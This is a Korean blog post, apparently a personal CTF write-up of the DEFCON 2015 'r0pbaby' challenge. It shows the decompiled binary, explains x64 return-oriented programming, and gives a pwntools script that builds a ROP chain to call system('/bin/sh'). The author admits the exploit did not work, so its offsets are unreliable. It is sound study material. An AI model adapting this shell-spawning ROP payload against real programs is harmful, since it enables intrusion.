KDHzoot's Github

Code for study, project, etc

자세히보기

정보보안/CTF

[DEFCON CTF 2015] r0pbaby

kdhzoot 2018. 11. 8. 03:19

결론부터 말하자면 못풀었다.

대회가 끝난뒤 local에서 푸느라 local libc를 사용해야 됐다.

PIE가 걸려있어서 ROP가젯을 libc에서 구해야 되는데 pop rdi; ret 가젯이 libc에 없었다.

왜 그런지는 나중에 알 기회가 있겠지




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  signed int v3; // eax
  unsigned __int64 v4; // r14
  int v5; // er13
  size_t v6; // r12
  int v7; // eax
  void *handle; // [rsp+8h] [rbp-448h]
  char nptr[1088]; // [rsp+10h] [rbp-440h]
  __int64 rop; // [rsp+450h] [rbp+0h]
 
  setvbuf(stdout, 0LL, 2, 0LL);
  signal(14, handler);
  alarm(0x3Cu);
  puts("\nWelcome to an easy Return Oriented Programming challenge...");
  puts("Menu:");
  handle = dlopen("libc.so.6"1);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          sub_BF7();
          if ( !next_input((__int64)nptr, 1024LL) )
          {
            puts("Bad choice.");
            return 0LL;
          }
          v3 = strtol(nptr, 0LL, 10);
          if ( v3 != 2 )
            break;
          __printf_chk(1LL, (__int64)"Enter symbol: ");
          if ( next_input((__int64)nptr, 64LL) )
          {
            dlsym(handle, nptr);
            __printf_chk(1LL, (__int64)"Symbol %s: 0x%016llX\n");
          }
          else
          {
            puts("Bad symbol.");
          }
        }
        if ( v3 > 2 )
          break;
        if ( v3 != 1 )
          goto LABEL_24;
        __printf_chk(1LL, (__int64)"libc.so.6: 0x%016llX\n");
      }
      if ( v3 != 3 )
        break;
      __printf_chk(1LL, (__int64)"Enter bytes to send (max 1024): ");
      next_input((__int64)nptr, 1024LL);
      v4 = (signed int)strtol(nptr, 0LL, 10);
      if ( v4 - 1 > 0x3FF )
      {
        puts("Invalid amount.");
      }
      else
      {
        if ( v4 )
        {
          v5 = 0;
          v6 = 0LL;
          while ( 1 )
          {
            v7 = _IO_getc(stdin);
            if ( v7 == -1 )
              break;
            nptr[v6] = v7;
            v6 = ++v5;
            if ( v4 <= v5 )
              goto LABEL_22;
          }
          v6 = v5 + 1;
        }
        else
        {
          v6 = 0LL;
        }
LABEL_22:
        memcpy(&rop, nptr, v6);
      }
    }
    if ( v3 == 4 )
      break;
LABEL_24:
    puts("Bad choice.");
  }
  dlclose(handle);
  puts("Exiting.");
  return 0LL;
}
cs


코드자체는 엄청길지만 실행시켜보면 무슨 프로그램인지 바로 알 수 있다.

libc_base 주소와 함수 offset을 쉽게 구할 수 있다.

근데 libc_base주소는 이상하므로 offset만을 사용해서 풀자



x64는 x32와 함수의 인자를 다루는 방식이 다르다

https://opentutorials.org/module/2004/11702 


따라서 RTL구성이 

dummy + system + dummy + binbash 가 아니라

dummy + pr + binbash + system 이다.

또한 x64는 함수 인자를 레지스터에 저장하므로 첫번째 인자전용 레지스터 rdi에 binbash주소를 pop해주어야한다.

따라서 pr은 pop %rdi; ret 이어야만한다.



gdb에서 

print를 통해 system의 주소를 구하고

find를 통해 "/bin/sh"문자열의 주소를 구한뒤

둘의 offset을 계산하면



프로그램 실행시 system의 주소를 받아와 "/bin/sh"문자열의 주소를 알 수 있다.

(PIE가 걸려있으므로 프로그램 실행할 때마다 바뀜)



exploit 과정


1. system과 "/bin/sh"의 offset을 구한다.

2. system과 pr의 offset을 구한다.

3. 프로그램 실행 뒤 system의 주소를 받아온다.

4. system의 주소를 토대로 pr과 "/bin/sh"의 주소도 구해준다.

5. payload구성 dummy(8) + pr(8) + "/bin/sh"(8) + system(8) -> 32  (물론 들어가는 값은 전부 주솟값이다) 

6. send



exploit 코드


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
 
= process("./r0pbaby")
 
p.recv(2222)
p.sendline("2")
p.recv(2222)
p.sendline("system")
 
rep = p.recvline()[17:]
system_addr = int(rep, 16)
pr_rdi_gadget = system_addr-0x2AAAA22DA51D
abinsh_addr = system_addr+0x164A5A
print (hex(system_addr),hex(pr_rdi_gadget),hex(abinsh_addr))
 
p.recv(2222)
p.sendline("3")
p.recv(2222)
p.sendline("32")
 
pay = "A"*8
pay += p64(pr_rdi_gadget)
pay += p64(abinsh_addr)
pay += p64(system_addr)
p.send(pay)
 
p.recv(2222)
p.sendline("4")
 
p.interactive()
cs


pop rdi; ret의 주소를 찾을 수 없어 libc가 아니라 r0pbaby에 있는 코드를 활용했지만 역시 안됐다.

'정보보안 > CTF' 카테고리의 다른 글

[CSAW CTF 2013] Exploitation4  (0) 2018.11.12
[CSAW CTF 2013] Exploitation3  (0) 2018.11.10
[CSAW CTF 2013] Exploitation2  (0) 2018.11.09
[DEFCON CTF 2016] xkcd  (0) 2018.11.07
[TWMMA CTF 2016] Pwn greeting  (0) 2018.11.07